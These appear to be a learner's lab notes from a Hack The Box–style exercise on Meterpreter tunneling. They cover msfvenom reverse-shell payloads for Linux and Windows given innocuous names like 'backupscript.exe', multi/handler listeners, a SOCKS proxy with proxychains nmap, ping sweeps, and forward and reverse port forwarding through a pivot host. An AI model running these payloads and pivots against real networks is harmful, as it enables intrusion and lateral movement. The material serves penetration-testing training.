

Meterpreter Tunneling & Port Forwarding

w1j0y

Attack Host

- create a Meterpreter shell for the Ubuntu server with the below command, which will return a shell on our attack host on port 8080.
- start a multi/handler, also known as a Generic Payload Handler.
- There could be scenarios when a host's firewall blocks ping (ICMP), and the ping won't get us successful replies. In these cases, we can perform a TCP scan on the 172.16.5.0/23 network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's post-exploitation routing module socks_proxy to configure a local proxy on our attack host. We will configure the SOCKS proxy for SOCKS version 4a. This SOCKS configuration will start a listener on port 9050 and route all the traffic received via our Meterpreter session.
- Testing Proxy & Routing Functionality

- msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080
- use exploit/multi/handler
- set lport 8080
- set payload linux/x64/meterpreter/reverse_tcp
- run
- Configuring MSF's SOCKS Proxy
- use auxiliary/server/socks_proxy
- set SRVPORT 9050
- set SRVHOST 0.0.0.0
- set version 4a
- run
- w1j0y@htb[/htb]\$ proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn

Meterpreter session opened

- Ping Sweep
- run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

Execute payload

Transfer the payload using scp

Windows Host

- Host is on the 172.16.5.0/23
- Ping Sweep For Loop Using CMD
- Ping Sweep Using PowerShell

Ubuntu Pivot Host

- Ping Sweep For Loop on Linux Pivot Hosts

Port Forwarding

- After establishing a meterpreter session
- Connecting to Windows Target through localhost

The above command requests the Meterpreter session to start a listener on our attack host's local port (-l) 3300 and forward all the packets to the remote (-r) Windows server 172.16.5.19 on 3389 port (-p) via our Meterpreter session. Now, if we execute xfreerdp on our localhost:3300, we will be able to create a remote desktop session.

Meterpreter Reverse Port Forwarding

- Metasploit can also perform reverse port forwarding with the below command, where you might want to listen on a specific port on the compromised server and forward all incoming shells from the Ubuntu server to our attack host.
- This command forwards all connections on port 1234 running on the Ubuntu server to our attack host on local port (-l) 8081. We will also configure our listener to listen on port 8081 for a Windows shell.
- Configuring & Starting multi/handler
- create a reverse shell payload that will send a connection back to our Ubuntu server on 172.16.5.129:1234 when executed on our Windows host. Once our Ubuntu server receives this connection, it will forward that to attack host's ip:8081 that we configured.

- portfwd add -R -l 8081 -p 1234 -L 10.10.14.18
- Configuring & Starting multi/handler
- bg
- set payload windows/x64/meterpreter/reverse_tcp
- set LHOST 0.0.0.0
- set LPORT 8081
- run

Meterpreter shell

- Generating the Windows Payload
- msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234

Shell pivoted via the Ubuntu Server

Transfer to Ubuntu Host

Windows Host

Transfer backupscript.exe to Windows Host

Ubuntu Pivot Host

Execute backupscript.exe payload